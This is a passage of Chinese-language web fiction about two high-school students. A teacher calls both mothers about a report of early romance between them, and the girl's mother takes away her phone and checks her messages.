“一来一去不耽误你的背书时间吗？”李昭野冠冕堂皇说完，语气里又带了几分阴阳怪气，“谁知道你有空在这里和别人聊闲话。”
祝枝嗔了他一眼，下意识看向林知阳。
“你还要背书啊，那不打扰你了，下次再聊。”
祝枝尴尬地点了点头，林知阳是在把她当成了能聊上几句的朋友，还是只是能聊聊学习的普通同学呢？
身旁这位祖宗忽然生起气来，兀自大步向前走去。
“没聊够也可以追上去继续。”
两个大跨步后是缓下来的步子，察觉到身后的人跟上后，李昭野轻哼了一声，放慢了速度。
“下个礼拜就没空教你了。”
“要训练吗？”
“去我妈那。”
好像很少听到李昭野提到他的妈妈，祝枝轻轻地哦了一声，说：“没事的，反正也可以用手机查。”
“不用我教你念了？”
这家伙最爱耍少爷脾气，别扭，但是很好哄。
祝枝赶紧迈着小短腿跟上：“要。”
“口渴。”
“我替你打水。”
实在是贴心地过头，这大夏天的，温热的水下喉，李昭野感觉自己后背又出了一层薄薄的汗，但干渴感倒是消失得很快。
上完一整天的课，李昭野又接到了赵静打来的电话，电话那头的人实在是太担心他又反悔，不肯去，小心翼翼的试探，得到肯定的答复后，很快高兴起来。
“那行，到时候我来机场接你。”
“得给我班主任打个电话请假。”
“好，那你把班主任的电话发给我吧。”
赵静还是第一次联系李昭野的班主任，好在带女儿的过程中，她已经有了比较丰富的和老师沟通的能力，聊下来还是比较顺畅的，只是快要挂断电话时，班主任说：“还有个事得跟您反映一下，今天下晚自习有学生举报到我这来了，说是昭野有早恋的倾向。”
举报人说的有理有据，再
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加上班主任这段时间的观察，以及科任老师的反馈情况，她也差不多猜到了。
虽说祝枝这段时间学习有进步，但如果在这个紧要关头涉及早恋，班主任忍不住开始反思自己当初把他们排到一起这件事到底做对了没有。
赵静听到这话，明显愣了一下，沉默了好一会后，她说：“这样啊，那我到时候找个时间和他聊聊。”
显然，在他们此时这个关系下，要想以说教的身份和李昭野聊一聊是很难的。
接到电话的除了赵静，还有祝枝的妈妈。
王英才洗完澡，正在餐厅切水果，就接到了班主任的电话。
祝枝还没到家，班主任的电话就打来了，王英心慌了一下，立马接了起来。
“喂，老师啊。”
她夹着手机，擦干手朝门外走去。
电话那头的话让王英神色愣了一瞬，然后愈发凝重。
祝枝开门到家时，果盘已经切好了，摆在她的书桌上，上面还包了一层保鲜膜，防止水果变得不新鲜。
她一身风尘仆仆的，上了一天学，只想先去洗个澡，再来看书学习。
祝枝很讨厌听吹风机的声音，所以每次吹头发的时候，她都不会戴着助听器，不成调的低沉重复的声音在耳朵里很难被捕捉，待到一身都清清爽爽的，祝枝才拆开果盘上的保鲜膜，吃了一口西瓜。
书包里的卷子和书被一一摆在桌子上，祝枝喜欢在学习之前安排好顺序，一般都是先文后理，喜欢的科目留到最后写，而且一定要解出一道大难题，这样睡觉前就会格外轻松。
最不喜欢的英语自然是第一科，写完卷子后，她整理出错题，准备上网搜一下答案，前前后后翻了个遍，都没找到手机。
刚刚洗澡前还看了眼时间呢，好像就放在桌子上。
见祝枝翻箱倒柜的，路过的王英喊住她，声音温柔。
“枝枝，手机就先放到妈妈这里，考完了再给你啊。”
祝枝蹲在书桌前费劲抬头。
“啊？”
“妈妈感觉你最近用手机用得太频繁了。”
“有些不会的内容要搜一下。”
“那以前没有手机你也是一样的学嘛。”
祝枝走到她面前，真诚道：“妈妈，我没有乱玩，手机是用来学习的。”
这简直是青春期小孩糊弄家长最有效的一种说辞，只是大家都用，效果也就变差了，也就殃及了说真话的祝枝。
“要不让我检查一下？”
王英神情里还有几分笑意，只是藏在微笑下的生气已经逼近到祝枝面前，让她不敢吭声。
印象中王英很少生气，比较祝枝从小到大都是妈妈说一不二，听话得很，从没让她操心过，也从没有过这样母女对峙的瞬间。
祝枝犹豫的神色更是加深了王英的看法，她深吸了一口气，不想对女儿发火。
“手机先放我这吧。”她不容拒绝道。
祝枝的手机密码是自己的生日，王英刚刚已经翻过她的微信了。
看来同学的举报没错，就是那个叫李昭野的男生。